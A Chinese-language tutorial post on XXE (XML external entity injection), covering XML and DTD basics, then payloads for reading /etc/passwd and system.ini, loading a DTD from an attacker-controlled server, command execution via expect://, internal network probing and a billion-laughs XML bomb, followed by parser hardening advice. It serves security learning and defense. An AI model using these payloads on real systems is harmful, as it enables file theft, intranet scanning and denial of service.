XML外部實體注入漏洞——XXE簡單分析


前言:

        XXE漏洞經常出現在CTF中,一直也沒有系統的學習過,今天就來總結一波。

一、XXE 漏洞是什么:

XXE 漏洞全稱:XML External Entity Injection,即 XML 外部實體 注入漏洞。XXE 漏洞發生在應用程序解析 XML輸入時,沒有禁止外部實體的加載,導致可加載惡意外部文件和代碼,造成任意文件讀取、命令執行、內網端口掃描、攻擊內網網站、發起 Dos攻擊等危害。
在這里插入圖片描述

二、XML基礎知識:

想要了解 XXE漏洞,需要先了解一下關於 XML的基礎知識。

1、XML是什么?

  • XML全稱:可擴展標記語言(Extensible Markup Language)。

  • XML是獨立於軟件和硬件的信息傳輸工具,它把數據從HTML中分離。 XML語言沒有預定義的標簽,需要作者定義自己的標簽和自己的文檔結構。

  • XML 被設計用來傳輸和存儲數據,HTML 被設計用來顯示數據。

2、XML文檔結構:

XML文檔結構包括:

  1. XML聲明

  2. DTD 文檔類型定義(可選)

  3. 文檔元素。

示例代碼:
在這里插入圖片描述
其中 DTD (Document Type Definition)即 文檔類型定義 部分 定義了XML文檔的標簽以及元素屬性。

如上圖中的DTD 就定義了XML的根元素為 note,然后根元素下面有一些子元素 (to,from,heading,body),那么下面的文檔元素就可以使用這些元素:

<!--文檔元素-->
<note> 
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body> 
</note>

注:

  • PCDATA:可被解析的字符數據。PCDATA 數據類型是會被解析器解析的文本。這些文本將被解析器檢查 實體 以及 標記。文本中的標簽會被當作標記來處理,而實體會被展開。與之對應的是CDATA

  • CDATA:不被解析的字符數據,CDATA 數據類型是不會被解析器解析的文本,在這些文本中的標簽不會被當作標記來對 待,其中的實體也不會被展開。詳細可點這 鏈接

DTD聲明方式:

其中DTD有兩種構建方式,分別為內部 DTD聲明和外部 DTD聲明。

1、內部DTD聲明:

聲明格式:

<!DOCTYPE 根元素 [元素聲明]>

如 上例使用就是內部 DTD聲明。

2、外部DTD聲明:

通過引入 dtd文件的方式進行聲明(這一點和 css,javascript 很像)。

聲明格式:

<!DOCTYPE 根元素 SYSTEM "文件名">

例:

<?xml version="1.0"?>
 <!DOCTYPE note SYSTEM "test.dtd"> 
 <note> 
 <to>H</to>
 <from>E</from>
 <head>L</head>
 <body>LO</body> 
 </note>

test.dtd:

<!ELEMENT to (#PCDATA)><!--定義to元素為”#PCDATA”類型-->
<!ELEMENT from (#PCDATA)><!--定義from元素為”#PCDATA”類型-->
<!ELEMENT head (#PCDATA)><!--定義head元素為”#PCDATA”類型--> 
<!ELEMENT body (#PCDATA)><!--定義body元素為”#PCDATA”類型-->

🆗,說完了 DTD的兩種引入方式,終於到了關鍵人物:" 實體 " 登場了。

實體的聲明:

實體定義在 DTD聲明中,

例:

<?xml version="1.0"?>
<!DOCTYPE sss [ <!ELEMENT sss ANY > <!ENTITY xxe "hello" > ]>

這里定義元素為 ANY 表示可以接受任何元素作為標簽,這里的 "xxe" 就是我們所說的實體了(相當於一個變量),可以在XML文檔元素中使用 & 符號對實體進行引用。

例:

<sss>
<user>&xxe;</user>
<pass>pass</pass>
</sss>

到時候輸出的時候 &xxe; 就會被 hello 替換。

實體的分類:
1、按聲明位置分(和上面的內外部引入 DTD聲明不同,別弄混了):

實體是定義在 DTD中的,可分為 外部實體內部實體,上面的例子就是內部實體,外部實體就是把實體定義在外部文件中。

例:

<?xml version="1.0"?>
<!DOCTYPE sss [ <!ELEMENT sss ANY > <!ENTITY xxe SYSTEM "file:///D:/test.dtd" > //引入外部dtd文件 ]>
<sss>
    <user>&xxe;</user>
    <pass>pass</pass>
</sss>

這樣當需要更改實體的值時,只需要更改外部的 dtd 文件就行,不需要打開源碼更改了(降低了耦合性),但也帶來了安全漏洞。

外部實體支持http、file等協議。不同程序支持的協議不同:
在這里插入圖片描述

2、按類型分:

實體又分為通用實體和參數實體。

1、通用實體

  • &實體名;引用,在DTD 中定義(內外DTD都行),在 XML文檔元素中引用。

上面的例子都是通用實體。

2、參數實體

  • 使用 % 實體名(中間有空格) 在DTD中定義(內外DTD都行),並且只能在DTD中使用 %實體名; 引用。

  • 在 DTD 文件中,參數實體的聲明可以引用其他實體(參數實體和通用實體)。

引入格式:

內部引入

<!ENTITY % 實體名稱 "實體的值">

例:

<?xml version="1.0" encoding="utf-8">
<!DOCTYPE Author [ <!ENTITY % first "Hello"> <!ENTITY % second "%first;_World"> %second;]>

%second; 會解析為:Hello_World

外部引入

<!ENTITY % 實體名稱 SYSTEM "URI">

例:

<!DOCTYPE a [ <!ENTITY % name SYSTEM "file:///D:/test.dtd"> %name;]>

三、如何利用XXE:

說了這么多,終於來到了重點,正如標題 XXE名為 “外部實體注入”,也就是說時是通過引入外部實體的方式進行注入的。

我們先來看這個例子:

<?xml version="1.0"?>
<!DOCTYPE s [ <!ELEMENT s ANY > <!ENTITY xxe SYSTEM "file:///D:/test.dtd" > ]>
<s>
    <user>&xxe;</user>
    <pass>pass</pass>
</s>

既然能讀 dtd文件,那是不是將路徑換成敏感文件的路徑,也能把敏感文件讀出來?

例:

解析 xml 的php文件:

test.php:

<?php
    libxml_disable_entity_loader (false);
    $xmlfile = file_get_contents('php://input');
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
    $creds = simplexml_import_dom($dom);
    echo $creds;
?>

構造payload:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE A [ <!ENTITY a SYSTEM "file:///c:/windows/system.ini"> ]> 
<A>&a;</A>

在這里插入圖片描述可以看到,成功讀取到了 C盤下的 system.ini 文件,此漏洞就是 任意文件讀取漏洞

四、XXE漏洞常見的危害:

1、任意文件讀取:

構造任意文件讀取漏洞 playload 有下面幾種方法:

方式一、直接通過外部實體聲明

XML內容:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE a [ <!ENTITY b SYSTEM "file:///etc/passwd"> ]> 
<a>&b;</a>

上面的例子就是此方式,這是最簡單的XXE漏洞利用。

方式二、外部實體聲明 (通用實體)+ 外部 DTD文件

XML內容:

<?xml version="1.0"?>
<!DOCTYPE a SYSTEM "http://XXX/test.dtd">
<c>&b;</c>

注意:這里的 http://XXX/test.dtd 是攻擊者自己服務器上的文件。

test.dtd 內容:

<!ENTITY b SYSTEM "file:///etc/passwd">

示例(使用的是 xxe-labs 靶場的php環境):
在這里插入圖片描述
因為這里使用windows演示的,所以讀取的是 system.ini 文件,可以看到成功的讀取到了。

方式三、外部實體聲明(參數實體) + 引入外部實體聲明

因為參數實體可以嵌套別的實體,所以產生了這種方式。

<?xml version="1.0"?>
<!DOCTYPE a[ <!ENTITY % d SYSTEM "http://XXX/test.dtd"> %d; ]>
<c>&b;</c>

test.dtd 內容:

<!ENTITY b SYSTEM "file:///etc/passwd">

示例:
在這里插入圖片描述注意這種方式必須要先引用 參數實體,才能引用通用實體,且缺一不可。

2、命令執行:

在安裝 expect擴展的PHP環境里執行系統命令,其他協議也有可能可以執行系統命令。
因為PHP的 expect 並不是默認安裝擴展,所以命令執行比較難利用,但不排除有幸運的情況。

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "expect://cat /" >]>
<root>
<name>&xxe;</name>
</root>

3、內網探測:

XML 外部實體中是可以使用http://協議,可以利用該請求去探查內網。

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "http://127.0.0.1:80" >]>
<root>
<name>&xxe;</name>
</root>

4、攻擊內網網站:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "http://127.0.0.1:80/payload" >]>
<root>
<name>&xxe;</name>
</root>

5、發起Dos攻擊:

幾乎所有可以控制服務器資源利用的東西,都可用於制造DOS攻擊。通過XML外部實體注入,攻擊者可以發送任意的HTTP請求,因為解析器會解析文檔中的所有實體,所以如果實體聲明層層嵌套的話,在一定數量上可以對服務器器造成DoS。

常見的XML炸彈:

<?xml version="1.0"?>
<!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]>
<lolz>&lol9;</lolz>

攻擊原理:XML解析器嘗試解析該文件時,DTD中的實體會以指數級的數量級展開,lol 實體為 “lol” 字符串,然后一個 lol2 實體引用了 10 次 lol 實體,一個 lol3 實體引用了 10 次 lol2 實體,此時一個 lol3 實體就含有 10^2 個 “lol” 了,以此類推,lol9 實體含有 10^8 個 “lol” 字符串,所以這個1K不到的文件經過解析后會占用到3G的內存,可見有多恐怖,不過現代的服務器軟硬件大多已經抵御了此類攻擊。

防御XML炸彈的方法也很簡單禁止DTD或者是限制每個實體的最大長度。

五、XXE 如何防御:

方式一、使用開發語言提供的禁用外部實體的方法:

PHP:

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

Python:

from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
方式二、過濾用戶輸入:

過濾用戶提交的XML數據 ,關鍵詞:<!DOCTYPE>、<!ENTITY>、SYSTEM、PUBLIC

最后

🆗,關於 XXE漏洞的總結大致就這些了,后面遇到新的 XXE利用方式再補上。( •̀ ω •́ )✧


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM